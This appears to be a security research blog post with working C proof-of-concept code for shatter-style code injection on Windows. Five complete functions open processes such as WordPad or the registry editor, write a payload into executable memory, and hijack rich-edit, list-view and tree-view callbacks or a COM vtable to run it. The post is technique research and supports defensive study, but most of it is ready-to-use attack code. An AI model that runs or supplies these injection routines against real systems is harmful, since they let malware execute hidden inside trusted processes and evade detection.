Introduction

This is a quick response to a number of posts related to code/process injection by @hexacorn over the last week. He suggests seven new (one not so new) ways to use “shatter” style attacks for code injection/redirection. I’ll briefly discuss all of these and provide a few working examples. The first five examples work with Edit and Rich Edit controls. The last two work with SysListView32 and SysTreeView32 .

Rich Edit controls

To find these, you have the option of enumerating all windows with something like EnumWindows , retrieving the class name from window handle and then comparing the start of the string with “RICHEDIT”. You can also find these controls manually with FindWindow / FindWindowEx . I’m working with an evaluation copy of Windows 10, so the only application I tested was Wordpad and finding the Rich Edit Control for that only required two lines of code.

// 1. Get main window for wordpad. wpw = FindWindow ( L" WordPadClass " , NULL ) ; // 2. Find the rich edit control. rew = FindWindowEx ( wpw , NULL , L" RICHEDIT50W " , NULL ) ;

A word wrapper callback function for an edit or rich edit control can be set using the EM_SETWORDBREAKPROC message. Simulating keyboard input via the SendInput or PostMessage APIs can trigger execution of the callback function. This method of injection was used to elevate privileges against a number of applications sixteen years ago. Although no CVE exist, it was used to exploit McAfee VirusScan, Sygate Personal Firewall Pro, WinVNC, Dameware and possibly others. The following code uses WordPad to inject code.

VOID wordwarping ( LPVOID payload , DWORD payloadSize ) { HANDLE hp ; DWORD id ; HWND wpw , rew ; LPVOID cs , wwf ; SIZE_T rd , wr ; INPUT ip ; // 1. Get main window for wordpad. // This will accept simulated keyboard input. wpw = FindWindow ( L" WordPadClass " , NULL ) ; // 2. Find the rich edit control for wordpad. rew = FindWindowEx ( wpw , NULL , L" RICHEDIT50W " , NULL ) ; // 3. Try get current address of Wordwrap function wwf = ( LPVOID ) SendMessage ( rew , EM_GETWORDBREAKPROC , 0 , 0 ) ; // 4. Obtain the process id for wordpad. GetWindowThreadProcessId ( rew , & id ) ; // 5. Try open the process. hp = OpenProcess ( PROCESS_ALL_ACCESS , FALSE , id ) ; // 6. Allocate RWX memory for the payload. cs = VirtualAllocEx ( hp , NULL , payloadSize , MEM_RESERVE | MEM_COMMIT , PAGE_EXECUTE_READWRITE ) ; // 7. Write the payload to memory WriteProcessMemory ( hp , cs , payload , payloadSize , & wr ) ; // 8. Update the callback procedure SendMessage ( rew , EM_SETWORDBREAKPROC , 0 , ( LPARAM ) cs ) ; // 9. Simulate keyboard input to trigger payload ip . type = INPUT_KEYBOARD ; ip . ki . wVk = 'A' ; ip . ki . wScan = 0 ; ip . ki . dwFlags = 0 ; ip . ki . time = 0 ; ip . ki . dwExtraInfo = 0 ; SetForegroundWindow ( rew ) ; SendInput ( 1 , & ip , sizeof ( ip ) ) ; // 10. Restore original Wordwrap function (if any) SendMessage ( rew , EM_SETWORDBREAKPROC , 0 , ( LPARAM ) wwf ) ; // 11. Free memory and close process handle VirtualFreeEx ( hp , cs , 0 , MEM_DECOMMIT | MEM_RELEASE ) ; CloseHandle ( hp ) ; }

typedef struct tagHyphenateInfo { SHORT cbSize ; SHORT dxHyphenateZone ; void ( ( WCHAR * , LANGID , long , HYPHRESULT * ) * ) pfnHyphenate ; } HYPHENATEINFO ;

Information about hyphenation for a Rich Edit control can be obtained by sending the EM_GETHYPHENATEINFO message with a pointer to a HYPHENATEINFO structure. However, it assumes the pointer to structure is local memory, thus an attacker must allocate memory for the information using VirtualAllocEx before sending EM_GETHYPHENATEINFO with SendMessage or PostMessage . Before using EM_SETHYPHENATEINFO , it may be required to set the typography options of an edit control. Although I was unable to get this working with WordPad, I suspect it’s possible with a feature rich word processor like Microsoft Word.

According to MSDN, the minimum supported client for the EM_SETAUTOCORRECTPROC message is Windows 8, so it’s a relatively new feature. WordPad obviously doesn’t support autocorrecting, so I wasn’t able to get it working. Like hyphenation, this will probably work with Microsoft Word.

typedef struct _editstream { DWORD_PTR dwCookie ; DWORD dwError ; EDITSTREAMCALLBACK pfnCallback ; } EDITSTREAM ;

When a rich edit control receives the EM_STREAMIN message, it uses the information provided in an EDITSTREAM structure to transfer a stream of data into or out of the control. The pfnCallback field is of type EDITSTREAMCALLBACK and can point to a payload in memory. I made sure EDITSTREAMCALLBACK returns a non-zero value to indicate an error, but the contents of the rich edit control still ends up being erased. It works, but not without destruction of the existing buffer stream. There’s probably a way to solve that problem, but I didn’t investigate.

VOID streamception ( LPVOID payload , DWORD payloadSize ) { HANDLE hp ; DWORD id ; HWND wpw , rew ; LPVOID cs , ds ; SIZE_T rd , wr ; EDITSTREAM es ; // 1. Get window handles wpw = FindWindow ( L" WordPadClass " , NULL ) ; rew = FindWindowEx ( wpw , NULL , L" RICHEDIT50W " , NULL ) ; // 2. Obtain the process id and try to open process GetWindowThreadProcessId ( rew , & id ) ; hp = OpenProcess ( PROCESS_ALL_ACCESS , FALSE , id ) ; // 3. Allocate RWX memory and copy the payload there. cs = VirtualAllocEx ( hp , NULL , payloadSize , MEM_RESERVE | MEM_COMMIT , PAGE_EXECUTE_READWRITE ) ; WriteProcessMemory ( hp , cs , payload , payloadSize , & wr ) ; // 4. Allocate RW memory and copy the EDITSTREAM structure there. ds = VirtualAllocEx ( hp , NULL , sizeof ( EDITSTREAM ) , MEM_RESERVE | MEM_COMMIT , PAGE_EXECUTE_READWRITE ) ; es . dwCookie = 0 ; es . dwError = 0 ; es . pfnCallback = cs ; WriteProcessMemory ( hp , ds , & es , sizeof ( EDITSTREAM ) , & wr ) ; // 5. Trigger payload with EM_STREAMIN SendMessage ( rew , EM_STREAMIN , SF_TEXT , ( LPARAM ) ds ) ; // 6. Free memory and close process handle VirtualFreeEx ( hp , ds , 0 , MEM_DECOMMIT | MEM_RELEASE ) ; VirtualFreeEx ( hp , cs , 0 , MEM_DECOMMIT | MEM_RELEASE ) ; CloseHandle ( hp ) ; }

After working on the first four, I started to examine the potential of EM_SETOLECALLBACK . It was around the same time Adam updated his blog to say he discovered this message too. The EM_GETOLECALLBACK message does not appear to be well documented, and when sent to the rich edit window with SendMessage will crash if LPARAM does not point to locally accessible memory. Moreover, EM_GETOLECALLBACK did not return a pointer to IRichEditOleCallback as expected, it returned a pointer to IRichEditOle instead. Because of this, I did not use EM_SETOLECALLBACK . Instead, the heap memory holding IRichEditOle.lpVtbl is overwritten with an address to a copy of the original table with one method pointing to the payload, in this case GetClipboardData .

We can’t overwrite the virtual function table because it resides in read-only memory. Well, perhaps you can overwrite after changing the memory protection, but I wouldn’t recommend it. Making a copy, updating one entry and simply redirecting execution through that makes more sense.

typedef struct _IRichEditOle_t { ULONG_PTR QueryInterface ; ULONG_PTR AddRef ; ULONG_PTR Release ; ULONG_PTR GetClientSite ; ULONG_PTR GetObjectCount ; ULONG_PTR GetLinkCount ; ULONG_PTR GetObject ; ULONG_PTR InsertObject ; ULONG_PTR ConvertObject ; ULONG_PTR ActivateAs ; ULONG_PTR SetHostNames ; ULONG_PTR SetLinkAvailable ; ULONG_PTR SetDvaspect ; ULONG_PTR HandsOffStorage ; ULONG_PTR SaveCompleted ; ULONG_PTR InPlaceDeactivate ; ULONG_PTR ContextSensitiveHelp ; ULONG_PTR GetClipboardData ; ULONG_PTR ImportDataObject ; } _IRichEditOle ;

The following code uses wordpad as an example because I couldn’t find any other applications on an evaluation version of windows that used the EM_SETOLECALLBACK message. It replaces the address of GetClipboardData with address of payload and then sends WM_COPY to the rich edit window.

VOID oleum ( LPVOID payload , DWORD payloadSize ) { HANDLE hp ; DWORD id ; HWND rew ; LPVOID cs , ds , ptr , mem , tbl ; SIZE_T rd , wr ; _IRichEditOle reo ; // 1. Get the window handle rew = FindWindow ( L" WordPadClass " , NULL ) ; rew = FindWindowEx ( rew , NULL , L" RICHEDIT50W " , NULL ) ; // 2. Obtain the process id and try to open process GetWindowThreadProcessId ( rew , & id ) ; hp = OpenProcess ( PROCESS_ALL_ACCESS , FALSE , id ) ; // 3. Allocate RWX memory and copy the payload there cs = VirtualAllocEx ( hp , NULL , payloadSize , MEM_COMMIT | MEM_RESERVE , PAGE_EXECUTE_READWRITE ) ; WriteProcessMemory ( hp , cs , payload , payloadSize , & wr ) ; // 4. Allocate RW memory for the current address ptr = VirtualAllocEx ( hp , NULL , sizeof ( ULONG_PTR ) , MEM_COMMIT | MEM_RESERVE , PAGE_READWRITE ) ; // 5. Query the interface SendMessage ( rew , EM_GETOLEINTERFACE , 0 , ( LPARAM ) ptr ) ; // 6. Read the memory address ReadProcessMemory ( hp , ptr , & mem , sizeof ( ULONG_PTR ) , & wr ) ; // 7. Read IRichEditOle.lpVtbl ReadProcessMemory ( hp , mem , & tbl , sizeof ( ULONG_PTR ) , & wr ) ; // 8. Read virtual function table ReadProcessMemory ( hp , tbl , & reo , sizeof ( _IRichEditOle ) , & wr ) ; // 9. Allocate memory for copy of virtual table ds = VirtualAllocEx ( hp , NULL , sizeof ( _IRichEditOle ) , MEM_COMMIT | MEM_RESERVE , PAGE_READWRITE ) ; // 10. Set the GetClipboardData method to address of payload reo . GetClipboardData = ( ULONG_PTR ) cs ; // 11. Write new virtual function table to remote memory WriteProcessMemory ( hp , ds , & reo , sizeof ( _IRichEditOle ) , & wr ) ; // 12. update IRichEditOle.lpVtbl WriteProcessMemory ( hp , mem , & ds , sizeof ( ULONG_PTR ) , & wr ) ; // 13. Trigger payload by invoking the GetClipboardData method PostMessage ( rew , WM_COPY , 0 , 0 ) ; // 14. Restore original value of IRichEditOle.lpVtbl WriteProcessMemory ( hp , mem , & tbl , sizeof ( ULONG_PTR ) , & wr ) ; // 15. Free memory and close process handle VirtualFreeEx ( hp , ptr , 0 , MEM_DECOMMIT | MEM_RELEASE ) ; VirtualFreeEx ( hp , cs , 0 , MEM_DECOMMIT | MEM_RELEASE ) ; VirtualFreeEx ( hp , ds , 0 , MEM_DECOMMIT | MEM_RELEASE ) ; CloseHandle ( hp ) ; }

Sorting items/groups in a ListView control can be customized using the LVM_SORTGROUPS , LVM_INSERTGROUPSORTED and LVM_SORTITEMS messages. The following structure is used for LVM_INSERTGROUPSORTED .

typedef struct tagLVINSERTGROUPSORTED { PFNLVGROUPCOMPARE pfnGroupCompare ; void * pvData ; LVGROUP lvGroup ; } LVINSERTGROUPSORTED , * PLVINSERTGROUPSORTED ;

The following code uses the registry editor and LVM_SORTITEMS to trigger the payload. The problem is that the callback function will be invoked for every item in the list. If no items are in the list, the function isn’t invoked at all. I can think of some ways to work around these issues such as checking how many items are in the list, adding items, removing items, playing around with the parameters passed to the callback function.

VOID listplanting ( LPVOID payload , DWORD payloadSize ) { HANDLE hp ; DWORD id ; HWND lvm ; LPVOID cs ; SIZE_T wr ; // 1. get the window handle lvm = FindWindow ( L" RegEdit_RegEdit " , NULL ) ; lvm = FindWindowEx ( lvm , 0 , L" SysListView32 " , 0 ) ; // 2. Obtain the process id and try to open process GetWindowThreadProcessId ( lvm , & id ) ; hp = OpenProcess ( PROCESS_ALL_ACCESS , FALSE , id ) ; // 3. Allocate RWX memory and copy the payload there. cs = VirtualAllocEx ( hp , NULL , payloadSize , MEM_RESERVE | MEM_COMMIT , PAGE_EXECUTE_READWRITE ) ; WriteProcessMemory ( hp , cs , payload , payloadSize , & wr ) ; // 4. Trigger payload PostMessage ( lvm , LVM_SORTITEMS , 0 , ( LPARAM ) cs ) ; // 5. Free memory and close process handle VirtualFreeEx ( hp , cs , 0 , MEM_DECOMMIT | MEM_RELEASE ) ; CloseHandle ( hp ) ; }

typedef struct tagTVSORTCB { HTREEITEM hParent ; PFNTVCOMPARE lpfnCompare ; LPARAM lParam ; } TVSORTCB , * LPTVSORTCB ;

It’s possible to customize sorting via the TVM_SORTCHILDRENCB message. For each item, the payload will be executed, so this also requires additional checks to avoid multiple instances running. The first thing we do after obtaininig the TreeListView window handle is get the root item. An item is required before the callback function is invoked.

// requires elevated privileges VOID treepoline ( LPVOID payload , DWORD payloadSize ) { HANDLE hp ; DWORD id ; HWND wpw , tlv ; LPVOID cs , ds , item ; SIZE_T rd , wr ; TVSORTCB tvs ; // 1. get the treeview handle wpw = FindWindow ( L" RegEdit_RegEdit " , NULL ) ; tlv = FindWindowEx ( wpw , 0 , L" SysTreeView32 " , 0 ) ; // 2. Obtain the process id and try to open process GetWindowThreadProcessId ( tlv , & id ) ; hp = OpenProcess ( PROCESS_ALL_ACCESS , FALSE , id ) ; // 3. Allocate RWX memory and copy the payload there. cs = VirtualAllocEx ( hp , NULL , payloadSize , MEM_RESERVE | MEM_COMMIT , PAGE_EXECUTE_READWRITE ) ; WriteProcessMemory ( hp , cs , payload , payloadSize , & wr ) ; // 4. Obtain the root item in tree list item = ( LPVOID ) SendMessage ( tlv , TVM_GETNEXTITEM , TVGN_ROOT , 0 ) ; tvs . hParent = item ; tvs . lpfnCompare = cs ; tvs . lParam = 0 ; // 5. Allocate RW memory and copy the TVSORTCB structure ds = VirtualAllocEx ( hp , NULL , sizeof ( TVSORTCB ) , MEM_RESERVE | MEM_COMMIT , PAGE_READWRITE ) ; WriteProcessMemory ( hp , ds , & tvs , sizeof ( TVSORTCB ) , & wr ) ; // 6. Trigger payload SendMessage ( tlv , TVM_SORTCHILDRENCB , 0 , ( LPARAM ) ds ) ; // 7. Free memory and close process handle VirtualFreeEx ( hp , ds , 0 , MEM_DECOMMIT | MEM_RELEASE ) ; VirtualFreeEx ( hp , cs , 0 , MEM_DECOMMIT | MEM_RELEASE ) ; CloseHandle ( hp ) ; }

That’s all!. PoC here.